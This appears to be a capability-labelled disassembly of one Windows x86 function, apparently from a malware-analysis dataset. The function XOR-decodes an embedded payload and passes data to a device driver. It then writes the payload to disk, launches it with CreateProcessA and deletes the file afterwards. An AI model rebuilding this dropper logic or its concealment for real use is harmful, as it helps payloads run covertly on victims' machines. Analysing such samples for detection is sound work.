Function at 0x406880
Capabilities:
Create process on windows
Create thread
Delete file
Encode data using xor
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410470
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5b0
mov edx, ecx
push ebx
push esi
push edi
mov eax, dword [edx + 8]
mov dword [ebp - 0x10], esp
test eax, eax
lea ebx, [eax + edx + 0x14]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x1c], ebx
jle 0x4068cf
mov ecx, 0xffffffec
lea eax, [edx + 0x14]
sub ecx, edx
xor byte [eax], 0xc7
mov edi, dword [edx + 8]
inc eax
lea esi, [ecx + eax]
cmp esi, edi
jl 0x4068c1
mov eax, dword [edx + 0xc]
or ecx, 0xffffffff
lea esi, [ebp - 0x5bc]
lea edi, [eax + edx + 0x14]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x18], esi
mov eax, ecx
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [edx + 0x10]
lea edi, [ecx + edx + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x4b8]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x4105e0
call fcn.00405ff0
test eax, eax
jne 0x40695f
lea ecx, [ebp - 0x5bc]
push 0x30
lea edx, [ebp - 0x4b8]
push ecx
push edx
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x20], 0xffffffff
mov eax, dword [ebx + 0x14]
add eax, 0x1000
push eax
call fcn.00409aa9
mov edi, eax
add esp, 4
test edi, edi
mov dword [ebp - 0x18], edi
je 0x406e7b
mov eax, dword [ebx + 0x10]
xor ecx, ecx
test eax, 0xfffffffe
jbe 0x4069a5
lea eax, [ebx + 0x18]
add word [eax], 0x3729
mov edx, dword [ebx + 0x10]
inc ecx
add eax, 2
shr edx, 1
cmp ecx, edx
jb 0x406993
mov eax, dword [ebx + 0xc]
mov ecx, dword [ebx + 8]
lea esi, [ebx + 0x18]
push eax
push ecx
mov edx, esi
mov ecx, 0x4105e0
call fcn.00405f80
mov ecx, dword [ebx]
call fcn.00405e70
mov edx, dword [ebx + 0x10]
mov ecx, esi
call fcn.00405ed0
cmp dword [ebx + 4], eax
je 0x406a06
lea edx, [ebp - 0x5bc]
push 0x30
lea eax, [ebp - 0x4b8]
push edx
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
call fcn.00409918
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebx + 0x10]
lea ecx, [ebp - 0x20]
push 5
push ecx
push edi
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.00408620
jmp 0x406a29
mov edx, dword [ebp - 0x20]
mov eax, dword [ebx + 0x14]
cmp edx, eax
mov dword [ebp - 4], 0xffffffff
jne 0x406e7b
lea eax, [ebp - 0x3b4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x3b4]
push 0x5c
push ecx
call fcn.00409930
add esp, 8
test eax, eax
je 0x406da7
mov byte [eax], 0
or ecx, 0xffffffff
lea edi, [ebp - 0x3b4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x190]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x190]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4020c4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x2b0]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4020b8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x2b0]
push ecx
call fcn.00410336
add esp, 4
call fcn.00406080
test eax, eax
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x14]
je 0x406bda
call fcn.004063f0
lea edx, [ebp - 0x2b0]
push 0x80
push 0x410ae8
push 0xffffffffffffffff
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x410ae8
call fcn.00409c88
mov word [0x410b68], ax
lea edi, [ebp - 0x2b0]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x410bf0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x2b0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [ebp - 0x14]
not ecx
dec ecx
cmp eax, 0xffffffff
mov word [0x410c30], cx
je 0x406c36
lea ecx, [ebp - 0x38]
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push ecx
push 0
push 0
push 0x82
push 0x410ae8
push 0x220007
push eax
call esi
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x38]
push 0
push edx
push 0
push 0
push 0x42
push 0x410bf0
push 0x22000b
push eax
call esi
mov ecx, dword [ebp - 0x14]
mov edx, 0x40205c
call fcn.00405d90
jmp 0x406c36
call fcn.004060d0
lea edi, [ebp - 0x2b0]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x410c7a
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x2b0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov word [0x410c78], cx
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xffffffff
je 0x406c36
mov edx, 0x410c78
call fcn.004066b0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 2
push 0
push 0
lea ecx, [ebp - 0x190]
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406d2d
lea edx, [ebp - 0x190]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x190]
or ecx, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ebp + ecx - 0x191], 0x5c
je 0x406cba
mov edi, 0x4012a4
or ecx, esi
xor eax, eax
lea edx, [ebp - 0x190]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x2b0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x190]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
push 2
mov ecx, edx
push eax
push eax
and ecx, 3
lea eax, [ebp - 0x190]
push 0xc0000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406d2d
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00409918
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebx + 0x14]
mov edi, dword [ebp - 0x18]
lea edx, [ebp - 0x48]
push 0
push edx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00409918
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x8c]
add esp, 4
rep stosd dword es:[edi], eax
xor ecx, ecx
lea edx, [ebp - 0x30]
mov dword [ebp - 0x30], ecx
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x2c], ecx
push edx
mov dword [ebp - 0x28], ecx
push eax
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [ebp - 0x24], ecx
mov word [ebp - 0x5c], cx
push ecx
lea ecx, [ebp - 0x190]
push ecx
mov dword [ebp - 0x8c], 0x44
mov dword [ebp - 0x60], 0x80
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406dba
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x406de0
push 0x402090
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x4020a0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x28]
push 1
push edx
call eax
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
lea eax, [ebp - 0x1ac]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov eax, dword [ebp - 0x34]
cmp dword [eax], 0
je 0x406e50
mov eax, dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x3c], edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
lea eax, [ebp - 0x44]
shl ecx, 3
mov dword [ebp - 0x40], ecx
push eax
lea ecx, [ebp - 0x40]
push 0
push ecx
push 0x406020
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
jmp 0x406e56
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x30]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x30]
push eax
call esi
mov ecx, dword [ebp - 0x2c]
push ecx
call esi
lea edx, [ebp - 0x190]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret